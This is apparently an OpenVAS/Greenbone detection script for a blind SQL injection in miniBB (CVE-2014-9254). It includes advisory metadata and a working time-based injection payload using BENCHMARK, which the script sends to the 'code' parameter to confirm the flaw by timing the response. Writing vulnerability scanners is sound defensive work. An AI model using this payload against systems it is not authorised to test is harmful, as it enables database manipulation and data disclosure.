miniBB bb_func_unsub.php 'code' Parameter Blind SQL Injection Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805119");
  script_version("2023-12-13T05:05:23+0000");
  script_cve_id("CVE-2014-9254");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2015-01-07 13:19:25 +0530 (Wed, 07 Jan 2015)");
  script_name("miniBB bb_func_unsub.php 'code' Parameter Blind SQL Injection Vulnerability");

  script_tag(name:"summary", value:"miniBB is prone to an SQL injection (SQLi) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET and
  check whether it is able to execute sql query or not.");

  script_tag(name:"insight", value:"Flaw is due to the bb_func_unsub.php script
  not properly sanitizing user-supplied input to the 'code' parameter.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to inject or manipulate SQL queries in the back-end database,
  allowing for the manipulation or disclosure of arbitrary data.");

  script_tag(name:"affected", value:"MiniBB version 3.1 before 20141127");

  script_tag(name:"solution", value:"Update to version 3.1 released on
  2014-11-27.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  script_xref(name:"URL", value:"http://secunia.com/advisories/61794");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/71805");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/129672");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_xref(name:"URL", value:"http://www.minibb.com");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

wait_extra_sec = 5;

http_port = http_get_port(default:80);
if(!http_can_host_php(port:http_port)){
  exit(0);
}

foreach dir (make_list_unique("/", "/minibb", "/forum", http_cgi_dirs(port:http_port)))
{

  if( dir == "/" ) dir = "";

  sndReq = http_get(item:string(dir, "/bb_admin.php"),  port:http_port);
  rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq);

  if("miniBB" >< rcvRes && ">Username<" >< rcvRes)
  {
    ## Added three times, to make sure its working properly
    sleep = make_list(15000000, 25000000);

    ## Use sleep time to check we are able to execute command
    foreach sec (sleep)
    {
      url = dir + "/index.php?action=unsubscribe&usrid=1&topic=1&code=test%27%20AND%207688"
                + "=BENCHMARK(" + sec + ",MD5(0x54564748))%20AND%20%27YIUP%27=%27YIUP";

      sndReq = http_get(item:url,  port:http_port);

      start = unixtime();
      rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq);
      stop = unixtime();

      time_taken = stop - start;
      sec = sec / 5000000;

      if(time_taken + 1 < sec || time_taken > (sec + wait_extra_sec)) exit(0);
    }
    security_message(port:http_port);
    exit(0);
  }
}

exit(99);